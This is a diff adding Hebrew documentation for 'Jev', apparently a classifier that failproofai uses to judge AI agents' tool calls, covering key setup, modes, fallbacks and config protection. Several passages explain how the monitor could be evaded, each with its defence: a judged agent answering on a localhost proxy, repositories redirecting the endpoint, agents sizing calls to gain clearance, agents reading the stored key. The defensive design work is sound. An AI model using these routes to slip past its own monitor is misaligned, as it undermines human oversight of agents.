+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | צורך `--account-id`. כ-שש קריאות בשנייה לכל מפתח נמדדו לפני HTTP 429. |
+| הendpoint שלך | `custom` | `/systemone` | `jev-1.13.0` | כל endpoint המקבל את גוף הבקשה של TypeSafe ודו"ח איזה מודל ענה. `https` בלבד; `http://localhost` רגיל מתקבל בשיטת shadow בלבד. |
+
+
+עם תכונת bring-your-own-key של Vercel, בקשה שנכשלה תיחזור שוב בשתיקה עם אישורים של Vercel. אם אתה צריך כל קריאה חויבת ונראות לחשבון TypeSafe שלך בלבד, השתמש ב-TypeSafe ישירות.
+
+
+## הגדר את זה
+
+פקודה אחת, ה-endpoint והמפתח:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+```
+
+### ה-URL בוחר את הספק
+
+אתה לא צריך לשם את הספק: **הוסט** של ה-URL הוא איזה אחד זה.
+
+| URL host | ספק | גם צריך |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| כל הוסט אחר | `custom` | — ה-URL שנתת הוא ה-base URL |
+
+שלוש דברים נובעים מזה:
+
+- **ה-URL של ה-API של הספק עצמו לא כותב override.** `--url https://api.typesafe.ai/v1` מייצר בדיוק את ההגדרה שיש `--provider typesafe`. תן נתיב או הוסט אחרים בספק ידוע וזה מאוחסן כ-base URL, כמו `--base-url` היה מאחסן אותו.
+- **`--provider` עדיין דוחק את ההסקה**, וזו איך אתה מגיע לפרוקסי שמדבר ב-API של ספק מהוסט משלך: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **`--provider` שמתנגד להוסט מסורב**, לא ניחוש. `--provider openrouter --url https://api.typesafe.ai/v1` לא כותב כלום ואומר למה: שתי הכתיבות לא מסכימות היכן המפתח שלך עומד להישלח. אותו זוג מסורב מ-`jev setup --base-url` ומהדוח המחומד של Jev settings. (`--provider custom` אינו סתירה — זה אומר "התייחס ל-URL זה כלעצמו" — למעט בהוסט של Cloudflare, אשר מסלול custom לא יכול להגיע אל ה-endpoint per-account שלו.)
+
+`--url` מוודא בדיוק כמו ש-`baseUrl` בקובץ הגדרה הוא, והסרב באותם מילים: `https`, או `http://localhost` רגיל בשיטת shadow בלבד.
+
+### המפתח
+
+Pipe אותו עם `--key-stdin`, או הפעל את הפקודה בטרמינל בלעדיו והדבק את המפתח בשאילתה מוסווה. בכל מקרה הוא נכנס ישירות לקובץ ההגדרה ולעולם לא מודפס בחזרה.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` לוקח את אותו הדגלים וזה ה-longhand לכל זה: `setup --provider ` שם היית מעדיף לשם את הספק מאשר את ה-URL.
+
+### `--token`, ומה זה עולה
+
+`--token ` שם את המפתח בשורת הפקודה, שהיא הדרך הכי מהירה להגדיר מכונה וה-spelling היחידה שמשאירה את המפתח בכל מקום אלא בקובץ ההגדרה:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+ארגומנט של שורת פקודה נמצא בקובץ ההיסטוריה של ה-shell שלך לאחר מכן, וכאשר הפקודה פועלת זה נמצא ברשימת התהליכים — ניתן קריאה מ-`/proc` על ידי כל דבר שפועל כמוך. `setup` אומר כן בכל פעם ש-`--token` משמש. עדיף `--key-stdin` על מכונה שאתה משתף, בהפעלה מוקלטת, או בכל מקום שקובץ ההיסטוריה מסונכרן; סובב מפתח שהעברת בדרך זו אם זה משנה.
+
+
+`--token`, `--key-stdin` ו-`--key-from-env` זה מוציא זה את זה: תן אחד.
+
+אחר כך שלח בקשה חיה אחת קטנה כדי לבדוק את המפתח, ה-endpoint ואיזה Jev ענה:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` יוצא 1, ואומר כן בכותרת שלו, כאשר התשובה מגיעה לאחר ה-timeout (כל hook היה חוזר לregex כ-`timeout`) או עונה לשאלת הבדיקה שלו בצורה שגויה.
+
+Hooks קוראים את ההגדרה בכל קריאת כלי, ולכן זה חל מהבאה. אין כלום להתחיל מחדש, עם או בלעדי ה-daemon.
+
+## בדוק מה זה עושה
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` מציג את הספק, ה-endpoint, המודל, המצב, קובץ ההגדרה וההרשאות שלו, ולעולם לא את המפתח. מתחתיו זה מסכם פעילות אחרונה: כמה קריאות Jev הערך, כמה פעמים זה חזר לregex ולמה, ה-latency שלו, ואילו מדיניות reviewable זה הנקה.
+
+## שיטת shadow
+
+`enforce` הוא ברירת המחדל. כדי לצפות ב-Jev מבלי לתת לו לשנות כל החלטה, עבור ל-`shadow`: Jev עדיין נשאל וההחלטות שלו נרשמות, אך תוצאת ה-regex היא מה שנאכף.
+
+```bash
+failproofai jev setup --mode shadow
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` שמור על ההגדרה — ה-endpoint והמפתח — ומפסיק לשאול את Jev: hooks מפעילים את מדיניות ה-regex בדיוק כמו ללא הגדרה, ו-`failproofai jev status` אומר "off (switched off)". חזור עם `--mode shadow` או `--mode enforce`.
+
+הפעלה חוזרת של `setup` באותו ספק שומרת על המפתח המאוחסן, כך שתחליף מצב הוא דגל אחד. החלפת ספק מתחיל מחדש ושואל עבור המפתח של הספק הזה. כמו כן `--base-url` שמעביר בקשות לוסט אחר: מפתח מאוחסן נשלח רק להוסט שהוא ניתן עבורו, או אל ה-API של הספק שלו.
+
+## קובץ ההגדרה
+
+הכל גר בקובץ אחד, `~/.failproofai/jev.json`, כתוב על ידי `setup`:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| שדה | משמעות |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` או `custom` — או `failproofai`, שלמפתח שלו מגיע מהחיבור של FailproofAI Cloud במקום קובץ זה (ראה [Jev through FailproofAI Cloud](/he/policies/jev-cloud)). |
+| `apiKey` | נשלח כ-`Authorization: Bearer `. |
+| `baseUrl` | נדרש עבור `custom`; מחליף את ה-API base של הספק בעל כן. חייב להיות `https`. `http` רגיל אל `localhost` מתקבל רק עם `mode: shadow`: כלום לא מאמת יציאה מקומית, כך שבעוד הפרוקסי שלך למטה כל תהליך במכונה, כולל ה-agent שנשפט, יכול לענות במקומו. |
+| `accountId` | Cloudflare בלבד: 32 תווי hex קטנים. |
+| `model` | מחליף את ה-model id של ברירת המחדל של הספק. ה-id של גרסה חייב לשם Jev 1.13. ערך בצורת API key סורב (ולא חוזר), כך שמפתח הדביק למעבר `--model` לעולם לא מאוחסן או נשלח כמודל. |
+| `timeoutMs` | כמה זמן קריאת כלי מחכה אל Jev לפני שימוש בתוצאה regex. 100–10000, ברירת מחדל 3000. |
+| `mode` | `enforce` (ברירת מחדל), `shadow`, או `off` (שמור את ההגדרה, הפעל ללא Jev). |
+
+שלוש כללים מגנים עליו:
+
+- **רק בעלים.** זה כתוב עם הרשאות `0600`. עותק שכל משתמש או קבוצה אחרת יכולה לקרוא או לכתוב הוא **סרוב**, hooks חוזרים לregex עד שתפעיל `chmod 600 ~/.failproofai/jev.json` או `setup` שוב. הספרייה בדוקה גם: `~/.failproofai` לא צריכה להיות **כתובה** על ידי מישהו אחר, כי מי שיכול לכתוב שם יכול להחליף את הקובץ כל הרשאות משלו. `setup` מסיר את הביטים כתוב אלו אם זה מוצא אותם. `failproofai jev status` אומר כאשר הגדרה סורבה ומראה את ה-endpoint שהקובץ מייצג: מישהו אחר יכול היה לשנות אותו, כך לבדוק זה שלך לפני שתוביל `chmod`. הפעלה חוזרת של `setup` על קובץ כזה נושאת את המפתח המאוחסן שלו רק אל ה-API של הספק; כל endpoint אחר שהוא שם צריך את המפתח שוב (`--key-stdin`), או `--base-url default` לשלוח בקשות חזרה אל הספק.
+- **גלוברי בלבד.** מאגר לא יכול להפעיל את Jev, להצביע עליו בendpoint אחר או לבחור את המודל שלו: `.failproofai/jev.json` בתוך פרוייקט מתעלם, והספק, ה-URL, המודל והמזהה החשבון נקראים רק מקובץ זה — לעולם לא מהסביבה, שהגדרות agent של מאגר יכולות להגדיר. (`FAILPROOFAI_HOME` אינו דרך סביב זה: זה מעביר את כל ספריית failproofai, המדיניות שלך כלול, במקום להפנות Jev בעצמו.)
+- **רק המפתח לבדו יכול להגיע מהסביבה.** אם לקובץ אין `apiKey`, `FAILPROOFAI_JEV_API_KEY` מספק אותו לאותה הפעלה (`setup --key-from-env` כותב קובץ כזה). זה לעולם לא מחליף מפתח שהקובץ מחזיק, וזה לא יכול להפעיל את Jev ללא הקובץ. כאשר המשתנה לא מוגדר, Jev היא פשוט כבוי עבור אותה מעטפת: `failproofai jev status` אומר כן, יוצא 0 ועוזב את ההגדרה לבדה (`status --json` מדווח `"status": "key-missing"` עם `"reason": "no-env-key"`). ה-daemon `failproofaid` לא רואה את סביבת ה-shell שלך, כך על מכונה המגודרת עם `failproofai config`, שמור את המפתח בקובץ.
+
+## איזה Jev עונה
+
+סף ההחלטה של Failproof AI כויל על Jev 1.13, כך תשובה משמשת רק כאשר היא מגיעה מאותה משפחה: `jev-1.13.x`, או OpenRouter של `typesafe/jev-1.13-`. כאשר ספק שם Jev רק לפי כינוי וא דו"ח ללא גרסה (Vercel, ו-Cloudflare כאשר זה לא אומר), התשובה משמשת ונרשמת כלא מוודאת. `custom` endpoint חייב לדווח את המודל שענה; החריג היחידי הוא `--model` שם לא גרסיון שהגדרת עבורו, אשר, הד בחזרה, נרשם כלא מוודא באותו הדרך. תשובה המדווחת כל גרסה אחרת, או תשובה `custom` שלא מדווחת כלום, אינה משמשת: קריאה זו חוזרת לregex עם הסיבה `model-mismatch`.
+
+## כאשר Jev לא יכול לענות
+
+כל אחד מאלה חוזר לתוצאת ה-regex עבור קריאה זו ורשום עם הסיבה שלו, אשר `failproofai jev status` סכומים:
+
+| סיבה | גורם |
+| --- | --- |
+| `timeout` | אין תשובה בתוך `timeoutMs`. |
+| `http-429` | הספק rate-limited את המפתח. |
+| `rate-limited` | ה-limiter של Failproof AI שלו עצר את הקריאה חזרה לפני שליחה: 5 בקשות בשנייה, בפרצים של עד 5, ואף אחד לרגע לאחר שהספק עונה `429`. לא הספק. |
+| `http-500`, `http-502`, `http-503`, … | שגיאת שרת בספק. הסטטוס המדויק נרשם. |
+| `out-of-credits` | HTTP 402: לחשבון הספק אין credits נותרו. |
+| `provider-refused` | HTTP 402 מ-Cloudflare קריאה "Model execution failed (Payment error)": הספק סירב להריץ את המודל בבקשה זו. בדרך כלל לא חיוב, כך טעינה תזיז אותו. |
+| `http-401`, `http-403` | המפתח סורב. |
+| `http-404` | כלום לא משמש ב-`/systemone`, כך ה-base URL לא בסדר — `/systemone` מוסף אליו, וכל ספק משמש אותו בשורש גרסה שלו. `failproofai jev models` מציג מה ה-endpoint כן משרת. |
+| `network` | לא היה אפשר להגיע ל-endpoint. |
+| `http-301`, `http-302`, `http-307`, `http-308` | ה-endpoint ענה עם redirect. Redirects לא מעקבים, כך התשובה באה רק מה-URL בהגדרה שלך; קבע `--base-url` ל-URL הסופי. |
+| `malformed` | ה-endpoint ענה, אך לא עם תשובה Jev — גוף שאינו JSON, או אחד בלא תשובות בו. |
+| `cloudflare-error`, `cloudflare-incomplete` | מעטפת של Cloudflare דיווחה כשל, או עבודה שלא הסתיימה. |
+| `model-mismatch` | גרסה Jev אחרת מ-1.13 ענתה, או `custom` endpoint לא אמר איזה מודל ענה. |
+| `request-cut` | **לא הפסקה.** Jev ענתה; זה הוצג רק חלק מהקריאה, כך התשובה שלו נקתה כלום. ראה [כאשר Jev ענתה, אך לא על הקריאה כולה](#when-jev-answered-but-not-on-the-whole-call). |
+
+`failproofai jev status` יכול להציג כמה סיבות נדירות יותר גם כן, כגון `upstream-error` (התשובה נשאה את השגיאה של הספק שלו) או `config`, וסכומים כל סיבה שהוא לא יכול לשם כ-`other`.
+
+`request-cut` נמצא בטבלה זו כי `failproofai jev status` סוכם אותו עם השאר, ובגלל שגם זה משאיר כל ה-deny עומדות. זה סיבה היחידה כאן שלא אומרת כלום על הספק שלך: הבקשה הגיעה ו-Jev ענתה לה. בניגוד לכל שורה מעליו, התשובה הזו עדיין סופרת — ה-deny או ה-warning של Jev יחול על גבי תוצאת ה-regex במקום להיות מושלכת. כך ריצה של אלה אומר קריאות מגיעות להערך גדולה מדי לשליחה כמכלול, לא שה-endpoint שלך לא בסדר, וטעינה של credits או שינוי ה-URL לא יזיז את המספר.
+
+## כאשר Jev ענתה, אך לא על הקריאה כולה
+
+שני דברים נוספים יכולים לקרות, ואף אחד לא Jev כושל לענות. שניהם על כמה מהקריאה, או מהשיחה, התאימה לבקשה אחת.
+
+**חלק מהקריאה עצמה לא התאימה.** קריאה כלי נשלחת בתוך תקציב קבוע, וחריגה — `Write` גדולה מאוד, גוף MCP עצום, פקודה מרופדת עד הכיפה — נשלחת עם מה התאים. Jev עדיין עונה, והתשובה שלו עדיין סופרת: ה-deny או ה-warning שלו יחול כרגיל. מה זה לא יכול לעשות זה **קבוע** כלום, מכיוון שפסק נתון בחלק מקריאה אינו פסק בקריאה. כך כל ה-deny מדיניות עומדות, והקריאה נרשמת כ-fallback עם הסיבה `request-cut`, אשר `failproofai jev status` סוכמים לצד הסיבות לעיל. הכלל זה נותן לך: הגדלת קריאה יכול להוציא את ההסכמות שלו, וא פעם לא יכול לקנות אחד.
+
+**הודעה לא התאימה.** ביצוע ארוך שהדקת, הודעת ה-agent האחרונה, או פקודה מערך האחסון שלה הערך כבר כיפה. **כלום לא משתנה**: הקריאה נשפטת, נקתה ורשומה בדיוק כמו כל אחד אחר, וזה לא סופר כ-fallback. האורך של מה שאתה הקלדת לעולם לא מחליט אנו פסק, וקית לא יכול לייצור הסכמה: שם ביצוע הגיע כבר כיפה, "אתה לא ביקשת את זה" מפסיקה להיות מסקנה שיכול להיות מוצא ממנו בכלל, במקום להפוך לאחד.
+
+הקו בין השניים הוא מי כתב את הטקסט. הקריאה היא ה-agent, וכלל שתן אורך שלו להפחית חומרה יהיה כלל ה-agent יכול להשתמש; ביצוע שלך שלך, וטיפול באורך שלו כאות רק פעם אחת הענש הדביק מפרט או עקבת ערימה.
+
+## מה עוזב את המכונה
+
+עבור כל קריאה כלי Jev מערכי, בקשה אחת יוצא לספק שלך, נושא:
+
+- הקריאה עצמה, עם סודות כגון API keys, bearer tokens ו-`KEY=` הקצאות redacted;
+- הביצוע הקרוב שהקלדת, עם טקסט ה-agent harness הוסיף הוסר;
+- הודעת ה-agent האחרונה לפני הביצוע הקרוב שלך, מתויג כ-agent-written;
+- עובדות מחושבות מקומי, כגון האם נתיב בתוך הפרוייקט — זה הפעלה במפגש שלה הראשון בדוק בדוק, [pinned לפעלה](/he/reference/jev-intent#the-project-root) — וסניף git הנוכחי.
+
+זה יוצא רק ל-endpoint בהגדרה שלך, תחת המפתח שלך.
+
+## כבה אותו
+
+```bash
+failproofai jev remove
+```
+
+זה מחוק `~/.failproofai/jev.json`. מהקריאה הכלי הבאה, hooks מפעילים את מדיניות ה-regex בדיוק כמו לפני. ה-per-session מאחסן תחת `~/.failproofai/state/semantic/` (ביצוע נרשם ב-`sessions/`, שורשי פרוייקט ב-`roots/`) נשאר במקום וגיל החוצה. כדי להפסיק לשאול את Jev אך שמור את ההגדרה, השתמש `failproofai jev setup --mode off` במקום.
+
+## התייחסות לפקודה
+
+| פקודה | תוצאה |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | הגדר אותו בפקודה אחת; הספק בא מהוסט של ה-URL |
+| `failproofai jev --url --token ` | זהה, עם המפתח בשורת הפקודה — ההיסטוריה והרשימת התהליכים שלך ראה זה |
+| `failproofai jev setup --provider --key-stdin` | כתוב את ההגדרה מ-key piped על stdin |
+| `failproofai jev setup --provider ` | זהה, שאילתה עבור המפתח בשאילתה מוסווה |
+| `failproofai jev setup --key-from-env` | אל תאחסן מפתח; קרא `FAILPROOFAI_JEV_API_KEY` לכל הפעלה |
+| `failproofai jev setup --mode shadow` | חלופי מצב (`enforce`, `shadow` או `off`), שמור את המפתח המאוחסן |
+| `failproofai jev setup --model ` / `--base-url ` | דרוס את המודל או ה-API base; `default` מנקה את הדרוס |
+| `failproofai jev setup --timeout-ms ` | שנה את התקציב לכל קריאה |
+| `failproofai jev status [--json]` | הגדרה, הרשאות ופעילות אחרונה; לעולם לא את המפתח |
+| `failproofai jev test [--json]` | בקשה חיה אחת: latency וגרסה שענתה |
+| `failproofai jev models [--provider ] [--url ] [--json]` | ה-model ids ש-`/models` של ה-endpoint מדווח, סימון ה-configured |
+| `failproofai jev remove` | מחוק את ההגדרה; Jev כבוי |
\ No newline at end of file
diff --git a/docs/he/policies/jev-cloud.mdx b/docs/he/policies/jev-cloud.mdx
new file mode 100644
index 000000000..5503fe569
--- /dev/null
+++ b/docs/he/policies/jev-cloud.mdx
@@ -0,0 +1,117 @@
+---
+title: "Jev דרך FailproofAI Cloud"
+description: "תן ל-Jev לשפוט את קריאות הכלים של האגנטים שלך דרך FailproofAI Cloud, בתוכנית של הארגון שלך, ללא חשבון TypeSafe או מפתח משלך."
+icon: "cloud"
+---
+
+[Jev](/he/policies/jev-byok), המסווג של TypeSafe, קורא כל קריאת כלי מול מה שבאמת ביקשת וענה בצד המדיניות שלך, לעולם לא במקומן. דרך **FailproofAI Cloud**, מכונה מחוברת משתמשת ב-Jev עם אותו מפתח שבו היא כבר מתחברת: אין חשבון TypeSafe, אין מפתח שני, אין נקודת קצה להגדרה. כל קריאה מחויבת לקצבת התוכנית הקיימת של הארגון שלך.
+
+הכל שב-Jev עושה זה ללא שינוי מ[הגדרת הבאת-המפתח-שלך-שלך](/he/policies/jev-byok): מדיניות קשה נשארת סופית, הכחשון של מדיניות שניתן לבדוק מתבטל רק כאשר ל-Jev נשאלו בדיוק על אותה חשש, וכל כישלון חוזר לתוצאת regex עבור אותה קריאה.
+
+
+דורש **failproofai 1.0.8-beta.0** או מאוחר יותר. ב-1.0.7 אין Jev, גם אם הוא מסתדר מעל ה-1.0.7 betas. ללא תצורת Jev שום דבר לא משתנה: hooks מריצים את מדיניות regex בדיוק כפי שתמיד עשו.
+
+
+## הפעל זאת
+
+1. **צור מפתח עם Jev.** בלוח הבקרה של FailproofAI Cloud, פתח **Keys → Create key** ובחר בתשקול **machine**. הוא מעניק את שלוש ההרשאות שמכונה צריכה: `events:add` (שלח פעילות), `policies:pull` (קבל מדיניות) ו-`jev:evaluate` (Jev, מחויב לתוכנית של הארגון שלך). מפתח לא יכול לשאת `jev:evaluate` ללא השניים האחרים.
+2. **חבר את המכונה** עם אותו מפתח:
+
+ ```bash
+ failproofai config --token
+ ```
+
+ אם הארגון שלך מריץ את FailproofAI Cloud שלו בעצמו ולא את זה המתארח, הוסף את הכתובת שלו: `--url https://` (או יצא `FAILPROOFAI_CLOUD_URL`). ללא זה המפתח מוצפן בשירות המתארח וההתחברות נכשלת. אם התעודה של אותו מארח מגיעה מ-CA פרטית, התקן את ה-CA בחנות האמון של המערכת של המכונה (לדוגמה עם `update-ca-certificates`), לא רק ב-`NODE_EXTRA_CA_CERTS`: ה-daemon ששולח אירועים וקולע מדיניות קורא את חנות המערכת. ראה [Troubleshooting](/he/reference/troubleshooting).
+
+זה הכל. התחברות שומרת את המפתח וכאשר למכונה **אין** תצורת Jev עדיין, מפעילה Jev דרך FailproofAI Cloud במצב **shadow**: Jev נשאל על כל קריאת כלי סגור וגזרי הדין שלו מתועדים, אבל התוצאה של המדיניות שלך היא מה שמוכן. הפלט אומר כך:
+
+```text
+ Jev on through FailproofAI Cloud, in shadow mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+**עם `--no-transcripts`, התחברות לא מפעילה Jev.** Jev שולח כל קריאת כלי בדוקה ואת ההנמקה האחרונה ל-FailproofAI Cloud, שזה יותר מחיבור החלטות בלבד שנשאל לשלוח. המפתח עדיין מאוחסן, והפלט אומר ש-Jev זמין והיכן להחליף אותו:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+זה גם לא מכבה את Jev. אם ה-`jev.json` של המכונה כבר מריץ את Jev דרך FailproofAI Cloud, הוא נשאר כשהוא, והפלט אומר שJev עדיין שולח כל קריאת כלי בדוקה והנמקה אחרונה, וש-`failproofai jev setup --mode off` מכבה אותו.
+
+
+התחברות **לעולם לא משכתבת** `~/.failproofai/jev.json` קיים. אם אתה כבר משתמש בנקודת הקצה של Jev שלך, היא ממשיכה להיות בשימוש, והפלט אומר שהקובץ הושאר כמו שתצורן — וכאשר הקובץ הזה משאיר את Jev כבוי (סירוב, או מודגש כבוי), אומר כך והיכן לתקן. להחליף מכונה זו ל-FailproofAI Cloud, הרץ `failproofai jev setup --provider failproofai`.
+
+
+## צל, אכוף או כבוי
+
+התחל בצל, צפה מה Jev היה עשוי על דף המדיניות, ואז תן לו לפעול:
+
+```bash
+failproofai jev setup --mode enforce # Jev's verdicts apply: it may clear a reviewable deny and add its own
+failproofai jev setup --mode shadow # Jev is asked and logged; your policies' result is enforced
+failproofai jev setup --mode off # keep the config, stop asking Jev
+```
+
+אותו מתג נמצא בלוח הבקרה המקומי: **Settings → Jev** יש מתג הפעלה/כיבוי וצל/אכוף. הוא משכתב את המצב ולא יותר מכך. Hooks קוראים את התצורה בכל קריאת כלי, כך ששינוי חל מהבא, ללא הפעלה מחדש.
+
+## בדוק מה היא עושה
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` מציג את הספק כ-**FailproofAI Cloud**, מארח ה-Cloud שאליו התחברה המכונה, המצב, ומקור המפתח כ-**FailproofAI Cloud connection**, לעולם לא המפתח. כאשר `jev.json` של FailproofAI Cloud נמצא במקום אבל Jev לא יכול להריץ, הוא אומר למה:
+
+| `status` אומר | `status --json` | משמעות |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | המכונה מחוברת, אבל אין מפתח Jev שמור בשבילה: המפתח חסר `jev:evaluate`, או ההתחברות לא הצליחה לאשר. הרץ `failproofai config --token ` שוב עם אותו מפתח; אם היא חסרה את ההרשאה, השתמש במפתח **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | אין חיבור FailproofAI Cloud על מכונה זו שמפתח Jev שייך אליו. |
+
+לאחר `failproofai config --disconnect` אין עוד `jev.json` של FailproofAI Cloud (אלא אם כן הוא הודגש כבוי, שנשמר), כך ש-`status` פשוט דיווח על Jev כבוי. `status --json` נושא את אותם עובדות (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), גם כאשר התצורה היא הנעדרת או מורחקת. `permissions` הוא תמיד של `jev.json`; סירוב בנוגע ל-`credentials.json` מוסיף `credentialsPermissions`, ו-`fix` כאשר פקודה אחת תיקנה. `test` שולח בקשה חיה אחת וממציא את ההשהיה שלה וגרסת Jev שענתה. הוא יוצא 1, ויאמר כך בכותרת שלו, כאשר התשובה מגיעה לאחר timeout של hook (hooks היו רושמים `timeout`) או עונה לשאלת הבדיקה שלו בעיוות.
+
+לוח הבקרה של **Settings → Jev** מציג גם את **FailproofAI Cloud connection**: אילו ארגון המכונה דיווח אליו והאם המפתח שלו נושא Jev. הוא נקרא מהקבצים שלו של המכונה, ללא קריאת רשת.
+
+## מה מגיע לדף המדיניות
+
+המכונה כבר שולחת את פעילות ה-hook שלה ל-FailproofAI Cloud (`events:add`). עם Jev כן, רשומת כל קריאה סגורה אומרת גם איזה מעריך רץ, מה Jev החליט, אילו מדיניות הוא פנה, למה הוא חזר כשהוא עשה, ההשהיה שלו וה-model שענה — החלטות, קודים ושמות, לעולם לא הפקודה או ההנמקה שלך. בדף **Policies** של הארגון שלך:
+
+- קריאה שגזר הדין שלו של Jev הוא החליט (enforce mode) מיוחסת ל-**Jev**, וכאשר הבדיקה המחליטה באה מחבילה, הרשומה גם שם את החבילה ההיא וגרסה שלה;
+- במצב צל, הכחשון או אזהרה של Jev מופיעים כ-**would-have**, לצד הרוליות שאתה מצפה;
+- המדיניות שJev פנה, או היה פונה במצב צל, נספרות למדיניות.
+
+## כאשר Jev לא יכול לענות
+
+כל אחד מאלה חוזר לתוצאת המדיניות שלך עבור אותה קריאה, ורשום עם הסיבה שלו:
+
+| סיבה | סיבה |
+| --- | --- |
+| `out-of-credits` | הארגון שלך השתמש בקצבת התוכנית שלו. |
+| `http-401`, `http-403` | המפתח בוטל, או לא נושא `jev:evaluate`. התחבר מחדש עם מפתח שעושה. |
+| `http-429` | FailproofAI Cloud הוא הגבלת שיעור Jev בעבור הארגון שלך. עד שהזמן שהוא שואל עליו הוא מתום (שלו `Retry-After`, לכל היותר 60 שניות), המכונה לא שולחת לו כלום וכל קריאה חוזרת מייד. קריאות המתעכבות בדרך זו רשומות כ-`http-429`, או כ-`rate-limited` כאשר הגבלת השיעור של המכונה שלה מחזיקה אותן קודם לכן. |
+| `http-429` (daily limit) | הארגון שלך השתמש בקריאות Jev היומיות שלו: **10,000 לכל יום UTC**, אלא אם כן מי שמתחזק את FailproofAI Cloud שלך קבע גבול אחר. כל קריאה חוזרת עד שהספירה מתאפס ב-00:00 UTC; המכונה עדיין שואלת שוב לכל היותר פעם בדקה, כך שהיא בוחרת את ההגדרה מחדש בתוך דקה. `failproofai jev test` אומר "Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | Jev סירב בקשת קריאה זו, בדרך כלל משום שקריאת הכלים הכילה טקסט צפוף (base64, hex, minified code) מעל תקציב הטוקן של Jev. אותה קריאה חוזרת בכל פעם; זה לא הפסקה. |
+| `http-502` | Jev אינו זמין כרגע. |
+| `http-503` | ה-Cloud זה לא יכול לשרת Jev בעבור ה-org שלך: אין שער מודל, ארגון שעדיין לא סופק, או השער כבוי. שאל את ה-admin שלך; hooks שואלים שוב לכל היותר פעם בדקה. |
+| `http-404` | FailproofAI Cloud זה לא משרת Jev עדיין. |
+| `timeout` | אין תשובה בתוך `timeoutMs` (ברירת מחדל 3000). |
+| `model-mismatch` | גרסת Jev אחרת מאשר 1.13 ענתה. |
+
+## איפה המפתח חי, ולאן הוא הולך
+
+- המפתח מאוחסן פעם אחת, ב-`~/.failproofai/credentials.json` (`0600`, בספריה בבעלות בלבד), לצד עדויות FailproofAI Cloud אחרות. `jev.json` לא מחזיק מפתח לנתיב זה; אחד שנכתב שם הופך את התצורה לבלתי תקפה.
+- אם `credentials.json` נושא **כל** הרשאה לכל אחד מלבדך (קבוצה או אחר, קרא או כתוב), או שספריית הספריה שלה ניתנת **כתיבה** על ידי מישהו מלבדך, היא **מורחקת**, לא קרא, ו-Jev כבוי עד שתתקן: `chmod 600` בקובץ, `chmod 700` בספריה (או התחבר מחדש, שמשכתב את הקובץ ב-`0600` ועושה את הספריה בעלות בלבד). ספריה שאחרים יכולים רק לקרוא היא בסדר; אחד שיכולים לכתוב בו מאפשר להם להחליף את הקובץ.
+- המפתח סופר רק בעוד ההתחברות שהגיעה איתו נמצאת על המכונה: עדות מדיניות או דיווח בעבור FailproofAI Cloud **עם אותו מפתח**, באותו קובץ. מפתח Jev שנשאר מאחור ללא אחד אינו מתעלם, ו-Jev נשאר כבוי. זה קורה כאשר ה-`config --disconnect` של failproofai קדום משאיר את מפתח Jev במקום (הוא לא יודע להסיר אותו), או כאשר ה-`config --token` של failproofai קדום מתחבר עם מפתח אחר, שעל FailproofAI Cloud אולי שייך לארגון אחר. להחליף את Jev חזרה, התחבר שוב עם מפתח **machine**.
+- המפתח לעולם לא משולח אלא למוצא ה-Cloud שהוא אומת נגדו. `jev.json` המכוון לכל מקום אחר מורחק.
+- **אגנט על המכונה יכול לקרוא אותו.** `credentials.json` הוא בעלות בלבד, והאגנט רץ בבעלות ההיא. קריאת הקבצים שלו של failproofai עצמו מורשה בכוונה (רק שינוי אותם חסום, על ידי `block-failproofai-commands`), כך שהדבר היחיד בין אגנט לקובץ זה הוא `block-read-outside-cwd` — מדיניות **reviewable** — ומ-session שהחל בספריית הבית שלך, לא כלום. מפתח עם `jev:evaluate` מוציא את קצבת Jev של הארגון שלך (עד לכובעון היומי) מכל מקום בו הוא משמש, אז טרט מפתח מכונה כמו כל אישור הוצאות אחרות: אם אגנט אולי קרא אותו, בטל אותו בדף המפתחות וההתחברות מחדש עם מפתח חדש.
+- רק הקבצים הגלובליים שלך קובעים זאת. מאגר לא יכול להפעיל Cloud Jev, להצביע לו במקום אחר או לספק את המפתח שלו, ו-`FAILPROOFAI_JEV_API_KEY` מתעלם לנתיב זה.
